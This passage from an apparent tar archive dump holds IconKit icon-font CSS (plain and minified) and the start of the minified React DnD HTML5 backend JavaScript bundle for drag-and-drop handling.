"\e875"; } .ik-flag:before { content: "\e876"; } .ik-globe:before { content: "\e877"; } .ik-grid:before { content: "\e878"; } .ik-heart:before { content: "\e879"; } .ik-home:before { content: "\e87a"; } .ik-github:before { content: "\e87b"; } .ik-image:before { content: "\e87c"; } .ik-inbox:before { content: "\e87d"; } .ik-layers:before { content: "\e87e"; } .ik-info:before { content: "\e87f"; } .ik-instagram:before { content: "\e880"; } .ik-layout:before { content: "\e881"; } .ik-link-2:before { content: "\e882"; } .ik-life-buoy:before { content: "\e883"; } .ik-link:before { content: "\e884"; } .ik-log-in:before { content: "\e885"; } .ik-list:before { content: "\e886"; } .ik-lock:before { content: "\e887"; } .ik-log-out:before { content: "\e888"; } .ik-loader:before { content: "\e889"; } .ik-mail:before { content: "\e88a"; } .ik-maximize-2:before { content: "\e88b"; } .ik-map:before { content: "\e88c"; } .ik-map-pin:before { content: "\e88e"; } .ik-menu:before { content: "\e88f"; } .ik-message-circle:before { content: "\e890"; } .ik-message-square:before { content: "\e891"; } .ik-minimize-2:before { content: "\e892"; } .ik-mic-off:before { content: "\e893"; } .ik-minus-circle:before { content: "\e894"; } .ik-mic:before { content: "\e895"; } .ik-minus-square:before { content: "\e896"; } .ik-minus:before { content: "\e897"; } .ik-moon:before { content: "\e898"; } .ik-monitor:before { content: "\e899"; } .ik-more-vertical:before { content: "\e89a"; } .ik-more-horizontal:before { content: "\e89b"; } .ik-move:before { content: "\e89c"; } .ik-music:before { content: "\e89d"; } .ik-navigation-2:before { content: "\e89e"; } .ik-navigation:before { content: "\e89f"; } .ik-octagon:before { content: "\e8a0"; } .ik-package:before { content: "\e8a1"; } .ik-pause-circle:before { content: "\e8a2"; } .ik-pause:before { content: "\e8a3"; } .ik-percent:before { content: "\e8a4"; } .ik-phone-call:before { content: "\e8a5"; } .ik-phone-forwarded:before { content: "\e8a6"; } .ik-phone-missed:before { content: "\e8a7"; } .ik-phone-off:before { content: "\e8a8"; } .ik-phone-incoming:before { content: "\e8a9"; } .ik-phone:before { content: "\e8aa"; } .ik-phone-outgoing:before { content: "\e8ab"; } .ik-pie-chart:before { content: "\e8ac"; } .ik-play-circle:before { content: "\e8ad"; } .ik-play:before { content: "\e8ae"; } .ik-plus-square:before { content: "\e8af"; } .ik-plus-circle:before { content: "\e8b0"; } .ik-plus:before { content: "\e8b1"; } .ik-pocket:before { content: "\e8b2"; } .ik-printer:before { content: "\e8b3"; } .ik-power:before { content: "\e8b4"; } .ik-radio:before { content: "\e8b5"; } .ik-repeat:before { content: "\e8b6"; } .ik-refresh-ccw:before { content: "\e8b7"; } .ik-rewind:before { content: "\e8b8"; } .ik-rotate-ccw:before { content: "\e8b9"; } .ik-refresh-cw:before { content: "\e8ba"; } .ik-rotate-cw:before { content: "\e8bb"; } .ik-save:before { content: "\e8bc"; } .ik-search:before { content: "\e8bd"; } .ik-server:before { content: "\e8be"; } .ik-scissors:before { content: "\e8bf"; } .ik-share-2:before { content: "\e8c0"; } .ik-share:before { content: "\e8c1"; } .ik-shield:before { content: "\e8c2"; } .ik-settings:before { content: "\e8c3"; } .ik-skip-back:before { content: "\e8c4"; } .ik-shuffle:before { content: "\e8c5"; } .ik-sidebar:before { content: "\e8c6"; } .ik-skip-forward:before { content: "\e8c7"; } .ik-slack:before { content: "\e8c8"; } .ik-slash:before { content: "\e8c9"; } .ik-smartphone:before { content: "\e8ca"; } .ik-square:before { content: "\e8cb"; } .ik-speaker:before { content: "\e8cc"; } .ik-star:before { content: "\e8cd"; } .ik-stop-circle:before { content: "\e8ce"; } .ik-sun:before { content: "\e8cf"; } .ik-sunrise:before { content: "\e8d0"; } .ik-tablet:before { content: "\e8d1"; } .ik-tag:before { content: "\e8d2"; } .ik-sunset:before { content: "\e8d3"; } .ik-target:before { content: "\e8d4"; } .ik-thermometer:before { content: "\e8d5"; } .ik-thumbs-up:before { content: "\e8d6"; } .ik-thumbs-down:before { content: "\e8d7"; } .ik-toggle-left:before { content: "\e8d8"; } .ik-toggle-right:before { content: "\e8d9"; } .ik-trash-2:before { content: "\e8da"; } .ik-trash:before { content: "\e8db"; } .ik-trending-up:before { content: "\e8dc"; } .ik-trending-down:before { content: "\e8dd"; } .ik-triangle:before { content: "\e8de"; } .ik-type:before { content: "\e8df"; } .ik-twitter:before { content: "\e8e0"; } .ik-upload:before { content: "\e8e1"; } .ik-umbrella:before { content: "\e8e2"; } .ik-upload-cloud:before { content: "\e8e3"; } .ik-unlock:before { content: "\e8e4"; } .ik-user-check:before { content: "\e8e5"; } .ik-user-minus:before { content: "\e8e6"; } .ik-user-plus:before { content: "\e8e7"; } .ik-user-x:before { content: "\e8e8"; } .ik-user:before { content: "\e8e9"; } .ik-users:before { content: "\e8ea"; } .ik-video-off:before { content: "\e8eb"; } .ik-video:before { content: "\e8ec"; } .ik-voicemail:before { content: "\e8ed"; } .ik-volume-x:before { content: "\e8ee"; } .ik-volume-2:before { content: "\e8ef"; } .ik-volume-1:before { content: "\e8f0"; } .ik-volume:before { content: "\e8f1"; } .ik-watch:before { content: "\e8f2"; } .ik-wifi:before { content: "\e8f3"; } .ik-x-square:before { content: "\e8f4"; } .ik-wind:before { content: "\e8f5"; } .ik-x:before { content: "\e8f6"; } .ik-x-circle:before { content: "\e8f7"; } .ik-zap:before { content: "\e8f8"; } .ik-zoom-in:before { content: "\e8f9"; } .ik-zoom-out:before { content: "\e8fa"; } .ik-command:before { content: "\e8fb"; } .ik-cloud:before { content: "\e8fc"; } .ik-hash:before { content: "\e8fd"; } .ik-headphones:before { content: "\e8fe"; } .ik-underline:before { content: "\e8ff"; } .ik-italic:before { content: "\e900"; } .ik-bold:before { content: "\e901"; } .ik-crop:before { content: "\e902"; } .ik-help-circle:before { content: "\e903"; } .ik-paperclip:before { content: "\e904"; } .ik-shopping-cart:before { content: "\e905"; } .ik-tv:before { content: "\e906"; } .ik-wifi-off:before { content: "\e907"; } .ik-minimize:before { content: "\e88d"; } .ik-maximize:before { content: "\e908"; } .ik-gitlab:before { content: "\e909"; } .ik-sliders:before { content: "\e90a"; } .ik-star-on:before { content: "\e90b"; } .ik-heart-on:before { content: "\e90c"; } .ik-archive:before { content: "\e90d"; } .ik-arrow-down-circle:before { content: "\e90e"; } .ik-arrow-up-circle:before { content: "\e90f"; } .ik-arrow-left-circle:before { content: "\e910"; } .ik-arrow-right-circle:before { content: "\e911"; } .ik-bar-chart-line-:before { content: "\e912"; } .ik-bar-chart-line:before { content: "\e913"; } .ik-book-open:before { content: "\e914"; } .ik-code:before { content: "\e915"; } .ik-database:before { content: "\e916"; } .ik-dollar-sign:before { content: "\e917"; } .ik-folder-plus:before { content: "\e918"; } .ik-gift:before { content: "\e919"; } .ik-folder-minus:before { content: "\e91a"; } .ik-git-commit:before { content: "\e91b"; } .ik-git-branch:before { content: "\e91c"; } .ik-git-pull-request:before { content: "\e91d"; } .ik-git-merge:before { content: "\e91e"; } .ik-linkedin:before { content: "\e91f"; } .ik-hard-drive:before { content: "\e920"; } .ik-more-vertical-:before { content: "\e921"; } .ik-more-horizontal-:before { content: "\e922"; } .ik-rss:before { content: "\e923"; } .ik-send:before { content: "\e924"; } .ik-shield-off:before { content: "\e925"; } .ik-shopping-bag:before { content: "\e926"; } .ik-terminal:before { content: "\e927"; } .ik-truck:before { content: "\e928"; } .ik-zap-off:before { content: "\e929"; } .ik-youtube:before { content: "\e92a"; } .ik-1x { font-size: 1em; } .ik-2x { font-size: 2em; } .ik-3x { font-size: 3em; } .ik-4x { font-size: 4em; } .ik-5x { font-size: 5em; } :root .ik-flip-horizontal, :root .ik-flip-vertical, :root .ik-rotate-180, :root .ik-rotate-270, :root .ik-rotate-90 { -webkit-filter: none; filter: none; display: inline-block; } .ik-rotate-90 { -webkit-transform: rotate(90deg); transform: rotate(90deg); } .ik-rotate-180 { -webkit-transform: rotate(180deg); transform: rotate(180deg); } .ik-rotate-270 { -webkit-transform: rotate(270deg); transform: rotate(270deg); } .ik-flip-horizontal { -webkit-transform: scale(-1, 1); transform: scale(-1, 1); } .ik-flip-vertical { -webkit-transform: scale(1, -1); transform: scale(1, -1); }css/iconkit.min.css000064400000025442151677247160010317 0ustar00/*! * @package IconKit * @version 1.0 */@font-face{font-family:iconkit;src:url(../fonts/iconkit.eot);src:url(../fonts/iconkit.eot#iefix) format('embedded-opentype'),url(../fonts/iconkit.woff) format('woff'),url(../fonts/iconkit.ttf) format('truetype'),url(../fonts/iconkit.svg#iconkit) format('svg')}.ik{font-family:iconkit!important;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.ik-alert-octagon:before{content:"\e81b"}.ik-alert-circle:before{content:"\e81c"}.ik-activity:before{content:"\e81d"}.ik-alert-triangle:before{content:"\e81e"}.ik-align-center:before{content:"\e81f"}.ik-airplay:before{content:"\e820"}.ik-align-justify:before{content:"\e821"}.ik-align-left:before{content:"\e822"}.ik-align-right:before{content:"\e823"}.ik-arrow-down-left:before{content:"\e824"}.ik-arrow-down-right:before{content:"\e825"}.ik-anchor:before{content:"\e826"}.ik-aperture:before{content:"\e827"}.ik-arrow-left:before{content:"\e828"}.ik-arrow-right:before{content:"\e829"}.ik-arrow-down:before{content:"\e82a"}.ik-arrow-up-left:before{content:"\e82b"}.ik-arrow-up-right:before{content:"\e82c"}.ik-arrow-up:before{content:"\e82d"}.ik-award:before{content:"\e82e"}.ik-bar-chart:before{content:"\e82f"}.ik-at-sign:before{content:"\e830"}.ik-bar-chart-2:before{content:"\e831"}.ik-battery-charging:before{content:"\e832"}.ik-bell-off:before{content:"\e833"}.ik-battery:before{content:"\e834"}.ik-bluetooth:before{content:"\e835"}.ik-bell:before{content:"\e836"}.ik-book:before{content:"\e837"}.ik-briefcase:before{content:"\e838"}.ik-camera-off:before{content:"\e839"}.ik-calendar:before{content:"\e83a"}.ik-bookmark:before{content:"\e83b"}.ik-box:before{content:"\e83c"}.ik-camera:before{content:"\e83d"}.ik-check-circle:before{content:"\e83e"}.ik-check:before{content:"\e83f"}.ik-check-square:before{content:"\e840"}.ik-cast:before{content:"\e841"}.ik-chevron-down:before{content:"\e842"}.ik-chevron-left:before{content:"\e843"}.ik-chevron-right:before{content:"\e844"}.ik-chevron-up:before{content:"\e845"}.ik-chevrons-down:before{content:"\e846"}.ik-chevrons-right:before{content:"\e847"}.ik-chevrons-up:before{content:"\e848"}.ik-chevrons-left:before{content:"\e849"}.ik-circle:before{content:"\e84a"}.ik-clipboard:before{content:"\e84b"}.ik-chrome:before{content:"\e84c"}.ik-clock:before{content:"\e84d"}.ik-cloud-lightning:before{content:"\e84e"}.ik-cloud-drizzle:before{content:"\e84f"}.ik-cloud-rain:before{content:"\e850"}.ik-cloud-off:before{content:"\e851"}.ik-codepen:before{content:"\e852"}.ik-cloud-snow:before{content:"\e853"}.ik-compass:before{content:"\e854"}.ik-copy:before{content:"\e855"}.ik-corner-down-right:before{content:"\e856"}.ik-corner-down-left:before{content:"\e857"}.ik-corner-left-down:before{content:"\e858"}.ik-corner-left-up:before{content:"\e859"}.ik-corner-up-left:before{content:"\e85a"}.ik-corner-up-right:before{content:"\e85b"}.ik-corner-right-down:before{content:"\e85c"}.ik-corner-right-up:before{content:"\e85d"}.ik-cpu:before{content:"\e85e"}.ik-credit-card:before{content:"\e85f"}.ik-crosshair:before{content:"\e860"}.ik-disc:before{content:"\e861"}.ik-delete:before{content:"\e862"}.ik-download-cloud:before{content:"\e863"}.ik-download:before{content:"\e864"}.ik-droplet:before{content:"\e865"}.ik-edit-2:before{content:"\e866"}.ik-edit:before{content:"\e867"}.ik-edit-1:before{content:"\e868"}.ik-external-link:before{content:"\e869"}.ik-eye:before{content:"\e86a"}.ik-feather:before{content:"\e86b"}.ik-facebook:before{content:"\e86c"}.ik-file-minus:before{content:"\e86d"}.ik-eye-off:before{content:"\e86e"}.ik-fast-forward:before{content:"\e86f"}.ik-file-text:before{content:"\e870"}.ik-film:before{content:"\e871"}.ik-file:before{content:"\e872"}.ik-file-plus:before{content:"\e873"}.ik-folder:before{content:"\e874"}.ik-filter:before{content:"\e875"}.ik-flag:before{content:"\e876"}.ik-globe:before{content:"\e877"}.ik-grid:before{content:"\e878"}.ik-heart:before{content:"\e879"}.ik-home:before{content:"\e87a"}.ik-github:before{content:"\e87b"}.ik-image:before{content:"\e87c"}.ik-inbox:before{content:"\e87d"}.ik-layers:before{content:"\e87e"}.ik-info:before{content:"\e87f"}.ik-instagram:before{content:"\e880"}.ik-layout:before{content:"\e881"}.ik-link-2:before{content:"\e882"}.ik-life-buoy:before{content:"\e883"}.ik-link:before{content:"\e884"}.ik-log-in:before{content:"\e885"}.ik-list:before{content:"\e886"}.ik-lock:before{content:"\e887"}.ik-log-out:before{content:"\e888"}.ik-loader:before{content:"\e889"}.ik-mail:before{content:"\e88a"}.ik-maximize-2:before{content:"\e88b"}.ik-map:before{content:"\e88c"}.ik-map-pin:before{content:"\e88e"}.ik-menu:before{content:"\e88f"}.ik-message-circle:before{content:"\e890"}.ik-message-square:before{content:"\e891"}.ik-minimize-2:before{content:"\e892"}.ik-mic-off:before{content:"\e893"}.ik-minus-circle:before{content:"\e894"}.ik-mic:before{content:"\e895"}.ik-minus-square:before{content:"\e896"}.ik-minus:before{content:"\e897"}.ik-moon:before{content:"\e898"}.ik-monitor:before{content:"\e899"}.ik-more-vertical:before{content:"\e89a"}.ik-more-horizontal:before{content:"\e89b"}.ik-move:before{content:"\e89c"}.ik-music:before{content:"\e89d"}.ik-navigation-2:before{content:"\e89e"}.ik-navigation:before{content:"\e89f"}.ik-octagon:before{content:"\e8a0"}.ik-package:before{content:"\e8a1"}.ik-pause-circle:before{content:"\e8a2"}.ik-pause:before{content:"\e8a3"}.ik-percent:before{content:"\e8a4"}.ik-phone-call:before{content:"\e8a5"}.ik-phone-forwarded:before{content:"\e8a6"}.ik-phone-missed:before{content:"\e8a7"}.ik-phone-off:before{content:"\e8a8"}.ik-phone-incoming:before{content:"\e8a9"}.ik-phone:before{content:"\e8aa"}.ik-phone-outgoing:before{content:"\e8ab"}.ik-pie-chart:before{content:"\e8ac"}.ik-play-circle:before{content:"\e8ad"}.ik-play:before{content:"\e8ae"}.ik-plus-square:before{content:"\e8af"}.ik-plus-circle:before{content:"\e8b0"}.ik-plus:before{content:"\e8b1"}.ik-pocket:before{content:"\e8b2"}.ik-printer:before{content:"\e8b3"}.ik-power:before{content:"\e8b4"}.ik-radio:before{content:"\e8b5"}.ik-repeat:before{content:"\e8b6"}.ik-refresh-ccw:before{content:"\e8b7"}.ik-rewind:before{content:"\e8b8"}.ik-rotate-ccw:before{content:"\e8b9"}.ik-refresh-cw:before{content:"\e8ba"}.ik-rotate-cw:before{content:"\e8bb"}.ik-save:before{content:"\e8bc"}.ik-search:before{content:"\e8bd"}.ik-server:before{content:"\e8be"}.ik-scissors:before{content:"\e8bf"}.ik-share-2:before{content:"\e8c0"}.ik-share:before{content:"\e8c1"}.ik-shield:before{content:"\e8c2"}.ik-settings:before{content:"\e8c3"}.ik-skip-back:before{content:"\e8c4"}.ik-shuffle:before{content:"\e8c5"}.ik-sidebar:before{content:"\e8c6"}.ik-skip-forward:before{content:"\e8c7"}.ik-slack:before{content:"\e8c8"}.ik-slash:before{content:"\e8c9"}.ik-smartphone:before{content:"\e8ca"}.ik-square:before{content:"\e8cb"}.ik-speaker:before{content:"\e8cc"}.ik-star:before{content:"\e8cd"}.ik-stop-circle:before{content:"\e8ce"}.ik-sun:before{content:"\e8cf"}.ik-sunrise:before{content:"\e8d0"}.ik-tablet:before{content:"\e8d1"}.ik-tag:before{content:"\e8d2"}.ik-sunset:before{content:"\e8d3"}.ik-target:before{content:"\e8d4"}.ik-thermometer:before{content:"\e8d5"}.ik-thumbs-up:before{content:"\e8d6"}.ik-thumbs-down:before{content:"\e8d7"}.ik-toggle-left:before{content:"\e8d8"}.ik-toggle-right:before{content:"\e8d9"}.ik-trash-2:before{content:"\e8da"}.ik-trash:before{content:"\e8db"}.ik-trending-up:before{content:"\e8dc"}.ik-trending-down:before{content:"\e8dd"}.ik-triangle:before{content:"\e8de"}.ik-type:before{content:"\e8df"}.ik-twitter:before{content:"\e8e0"}.ik-upload:before{content:"\e8e1"}.ik-umbrella:before{content:"\e8e2"}.ik-upload-cloud:before{content:"\e8e3"}.ik-unlock:before{content:"\e8e4"}.ik-user-check:before{content:"\e8e5"}.ik-user-minus:before{content:"\e8e6"}.ik-user-plus:before{content:"\e8e7"}.ik-user-x:before{content:"\e8e8"}.ik-user:before{content:"\e8e9"}.ik-users:before{content:"\e8ea"}.ik-video-off:before{content:"\e8eb"}.ik-video:before{content:"\e8ec"}.ik-voicemail:before{content:"\e8ed"}.ik-volume-x:before{content:"\e8ee"}.ik-volume-2:before{content:"\e8ef"}.ik-volume-1:before{content:"\e8f0"}.ik-volume:before{content:"\e8f1"}.ik-watch:before{content:"\e8f2"}.ik-wifi:before{content:"\e8f3"}.ik-x-square:before{content:"\e8f4"}.ik-wind:before{content:"\e8f5"}.ik-x:before{content:"\e8f6"}.ik-x-circle:before{content:"\e8f7"}.ik-zap:before{content:"\e8f8"}.ik-zoom-in:before{content:"\e8f9"}.ik-zoom-out:before{content:"\e8fa"}.ik-command:before{content:"\e8fb"}.ik-cloud:before{content:"\e8fc"}.ik-hash:before{content:"\e8fd"}.ik-headphones:before{content:"\e8fe"}.ik-underline:before{content:"\e8ff"}.ik-italic:before{content:"\e900"}.ik-bold:before{content:"\e901"}.ik-crop:before{content:"\e902"}.ik-help-circle:before{content:"\e903"}.ik-paperclip:before{content:"\e904"}.ik-shopping-cart:before{content:"\e905"}.ik-tv:before{content:"\e906"}.ik-wifi-off:before{content:"\e907"}.ik-minimize:before{content:"\e88d"}.ik-maximize:before{content:"\e908"}.ik-gitlab:before{content:"\e909"}.ik-sliders:before{content:"\e90a"}.ik-star-on:before{content:"\e90b"}.ik-heart-on:before{content:"\e90c"}.ik-archive:before{content:"\e90d"}.ik-arrow-down-circle:before{content:"\e90e"}.ik-arrow-up-circle:before{content:"\e90f"}.ik-arrow-left-circle:before{content:"\e910"}.ik-arrow-right-circle:before{content:"\e911"}.ik-bar-chart-line-:before{content:"\e912"}.ik-bar-chart-line:before{content:"\e913"}.ik-book-open:before{content:"\e914"}.ik-code:before{content:"\e915"}.ik-database:before{content:"\e916"}.ik-dollar-sign:before{content:"\e917"}.ik-folder-plus:before{content:"\e918"}.ik-gift:before{content:"\e919"}.ik-folder-minus:before{content:"\e91a"}.ik-git-commit:before{content:"\e91b"}.ik-git-branch:before{content:"\e91c"}.ik-git-pull-request:before{content:"\e91d"}.ik-git-merge:before{content:"\e91e"}.ik-linkedin:before{content:"\e91f"}.ik-hard-drive:before{content:"\e920"}.ik-more-vertical-:before{content:"\e921"}.ik-more-horizontal-:before{content:"\e922"}.ik-rss:before{content:"\e923"}.ik-send:before{content:"\e924"}.ik-shield-off:before{content:"\e925"}.ik-shopping-bag:before{content:"\e926"}.ik-terminal:before{content:"\e927"}.ik-truck:before{content:"\e928"}.ik-zap-off:before{content:"\e929"}.ik-youtube:before{content:"\e92a"}.ik-1x{font-size:1em}.ik-2x{font-size:2em}.ik-3x{font-size:3em}.ik-4x{font-size:4em}.ik-5x{font-size:5em}:root .ik-flip-horizontal,:root .ik-flip-vertical,:root .ik-rotate-180,:root .ik-rotate-270,:root .ik-rotate-90{-webkit-filter:none;filter:none;display:inline-block}.ik-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ik-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.ik-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.ik-flip-horizontal{-webkit-transform:scale(-1,1);transform:scale(-1,1)}.ik-flip-vertical{-webkit-transform:scale(1,-1);transform:scale(1,-1)}umd/ReactDnDHTML5Backend.min.js000064400000041707151677252760012152 0ustar00!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e=e||self).ReactDnDHTML5Backend={})}(this,(function(e){"use strict";function t(e){var t=null;return function(){return null==t&&(t=e()),t}}function r(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var n=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.entered=[],this.isNodeInDocument=t}var t,n,a;return t=e,(n=[{key:"enter",value:function(e){var t=this,r=this.entered.length;return this.entered=function(e,t){var r=new Set,n=function(e){return r.add(e)};e.forEach(n),t.forEach(n);var a=[];return r.forEach((function(e){return a.push(e)})),a}(this.entered.filter((function(r){return t.isNodeInDocument(r)&&(!r.contains||r.contains(e))})),[e]),0===r&&this.entered.length>0}},{key:"leave",value:function(e){var t,r,n=this.entered.length;return this.entered=(t=this.entered.filter(this.isNodeInDocument),r=e,t.filter((function(e){return e!==r}))),n>0&&0===this.entered.length}},{key:"reset",value:function(){this.entered=[]}}])&&r(t.prototype,n),a&&r(t,a),e}(),a=t((function(){return/firefox/i.test(navigator.userAgent)})),i=t((function(){return Boolean(window.safari)}));function o(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var s=function(){function e(t,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);for(var n=t.length,a=[],i=0;i<n;i++)a.push(i);a.sort((function(e,r){return t[e]<t[r]?-1:1}));for(var o,s,u=[],d=[],c=0;c<n-1;c++)o=t[c+1]-t[c],s=r[c+1]-r[c],u.push(o),d.push(s/o);for(var l=[d[0]],g=0;g<u.length-1;g++){var f=d[g],v=d[g+1];if(f*v<=0)l.push(0);else{o=u[g];var h=u[g+1],p=o+h;l.push(3*p/((p+h)/f+(p+o)/v))}}l.push(d[d.length-1]);for(var m,D=[],y=[],w=0;w<l.length-1;w++){m=d[w];var T=l[w],E=1/u[w],b=T+l[w+1]-m-m;D.push((m-T-b)*E),y.push(b*E*E)}this.xs=t,this.ys=r,this.c1s=l,this.c2s=D,this.c3s=y}var t,r,n;return t=e,(r=[{key:"interpolate",value:function(e){var t=this.xs,r=this.ys,n=this.c1s,a=this.c2s,i=this.c3s,o=t.length-1;if(e===t[o])return r[o];for(var s,u=0,d=i.length-1;u<=d;){var c=t[s=Math.floor(.5*(u+d))];if(c<e)u=s+1;else{if(!(c>e))return r[s];d=s-1}}var l=e-t[o=Math.max(0,d)],g=l*l;return r[o]+n[o]*l+a[o]*g+i[o]*l*g}}])&&o(t.prototype,r),n&&o(t,n),e}();function u(e){var t=1===e.nodeType?e:e.parentElement;if(!t)return null;var r=t.getBoundingClientRect(),n=r.top;return{x:r.left,y:n}}function d(e){return{x:e.clientX,y:e.clientY}}function c(e,t,r,n,o){var d,c,l,g="IMG"===(d=t).nodeName&&(a()||!(null===(c=document.documentElement)||void 0===c?void 0:c.contains(d))),f=u(g?e:t),v={x:r.x-f.x,y:r.y-f.y},h=e.offsetWidth,p=e.offsetHeight,m=n.anchorX,D=n.anchorY,y=function(e,t,r,n){var a=e?t.width:r,o=e?t.height:n;return i()&&e&&(o/=window.devicePixelRatio,a/=window.devicePixelRatio),{dragPreviewWidth:a,dragPreviewHeight:o}}(g,t,h,p),w=y.dragPreviewWidth,T=y.dragPreviewHeight,E=o.offsetX,b=o.offsetY,N=0===b||b;return{x:0===E||E?E:new s([0,.5,1],[v.x,v.x/h*w,v.x+w-h]).interpolate(m),y:N?b:(l=new s([0,.5,1],[v.y,v.y/p*T,v.y+T-p]).interpolate(D),i()&&g&&(l+=(window.devicePixelRatio-1)*T),l)}}var l,g="__NATIVE_FILE__",f="__NATIVE_URL__",v="__NATIVE_TEXT__",h=Object.freeze({__proto__:null,FILE:g,URL:f,TEXT:v});function p(e,t,r){var n=t.reduce((function(t,r){return t||e.getData(r)}),"");return null!=n?n:r}function m(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var D=(m(l={},g,{exposeProperties:{files:function(e){return Array.prototype.slice.call(e.files)},items:function(e){return e.items}},matchesTypes:["Files"]}),m(l,f,{exposeProperties:{urls:function(e,t){return p(e,t,"").split("\n")}},matchesTypes:["Url","text/uri-list"]}),m(l,v,{exposeProperties:{text:function(e,t){return p(e,t,"")}},matchesTypes:["Text","text/plain"]}),l);function y(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var w=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.config=t,this.item={},this.initializeExposedProperties()}var t,r,n;return t=e,(r=[{key:"initializeExposedProperties",value:function(){var e=this;Object.keys(this.config.exposeProperties).forEach((function(t){Object.defineProperty(e.item,t,{configurable:!0,enumerable:!0,get:function(){return console.warn("Browser doesn't allow reading \"".concat(t,'" until the drop event.')),null}})}))}},{key:"loadDataTransfer",value:function(e){var t=this;if(e){var r={};Object.keys(this.config.exposeProperties).forEach((function(n){r[n]={value:t.config.exposeProperties[n](e,t.config.matchesTypes),configurable:!0,enumerable:!0}})),Object.defineProperties(this.item,r)}}},{key:"canDrag",value:function(){return!0}},{key:"beginDrag",value:function(){return this.item}},{key:"isDragging",value:function(e,t){return t===e.getSourceId()}},{key:"endDrag",value:function(){}}])&&y(t.prototype,r),n&&y(t,n),e}();function T(e){if(!e)return null;var t=Array.prototype.slice.call(e.types||[]);return Object.keys(D).filter((function(e){return D[e].matchesTypes.some((function(e){return t.indexOf(e)>-1}))}))[0]||null}function E(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var b=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.globalContext=t}var t,r,n;return t=e,(r=[{key:"window",get:function(){return this.globalContext?this.globalContext:"undefined"!=typeof window?window:void 0}},{key:"document",get:function(){if(this.window)return this.window.document}}])&&E(t.prototype,r),n&&E(t,n),e}();function N(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function O(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?N(Object(r),!0).forEach((function(t){S(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):N(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function S(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function I(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var C,P=function(){function e(t,r){var i=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.sourcePreviewNodes=new Map,this.sourcePreviewNodeOptions=new Map,this.sourceNodes=new Map,this.sourceNodeOptions=new Map,this.dragStartSourceIds=null,this.dropTargetIds=[],this.dragEnterTargetIds=[],this.currentNativeSource=null,this.currentNativeHandle=null,this.currentDragSourceNode=null,this.altKeyPressed=!1,this.mouseMoveTimeoutTimer=null,this.asyncEndDragFrameId=null,this.dragOverTargetIds=null,this.getSourceClientOffset=function(e){var t=i.sourceNodes.get(e);return t&&u(t)||null},this.endDragNativeItem=function(){i.isDraggingNativeItem()&&(i.actions.endDrag(),i.currentNativeHandle&&i.registry.removeSource(i.currentNativeHandle),i.currentNativeHandle=null,i.currentNativeSource=null)},this.isNodeInDocument=function(e){return Boolean(e&&i.document&&i.document.body&&document.body.contains(e))},this.endDragIfSourceWasRemovedFromDOM=function(){var e=i.currentDragSourceNode;i.isNodeInDocument(e)||i.clearCurrentDragSourceNode()&&i.actions.endDrag()},this.handleTopDragStartCapture=function(){i.clearCurrentDragSourceNode(),i.dragStartSourceIds=[]},this.handleTopDragStart=function(e){if(!e.defaultPrevented){var t=i.dragStartSourceIds;i.dragStartSourceIds=null;var r=d(e);i.monitor.isDragging()&&i.actions.endDrag(),i.actions.beginDrag(t||[],{publishSource:!1,getSourceClientOffset:i.getSourceClientOffset,clientOffset:r});var n=e.dataTransfer,a=T(n);if(i.monitor.isDragging()){if(n&&"function"==typeof n.setDragImage){var o=i.monitor.getSourceId(),s=i.sourceNodes.get(o),u=i.sourcePreviewNodes.get(o)||s;if(u){var l=i.getCurrentSourcePreviewNodeOptions(),g=c(s,u,r,{anchorX:l.anchorX,anchorY:l.anchorY},{offsetX:l.offsetX,offsetY:l.offsetY});n.setDragImage(u,g.x,g.y)}}try{null==n||n.setData("application/json",{})}catch(e){}i.setCurrentDragSourceNode(e.target),i.getCurrentSourcePreviewNodeOptions().captureDraggingState?i.actions.publishDragSource():setTimeout((function(){return i.actions.publishDragSource()}),0)}else if(a)i.beginDragNativeItem(a);else{if(n&&!n.types&&(e.target&&!e.target.hasAttribute||!e.target.hasAttribute("draggable")))return;e.preventDefault()}}},this.handleTopDragEndCapture=function(){i.clearCurrentDragSourceNode()&&i.actions.endDrag()},this.handleTopDragEnterCapture=function(e){if(i.dragEnterTargetIds=[],i.enterLeaveCounter.enter(e.target)&&!i.monitor.isDragging()){var 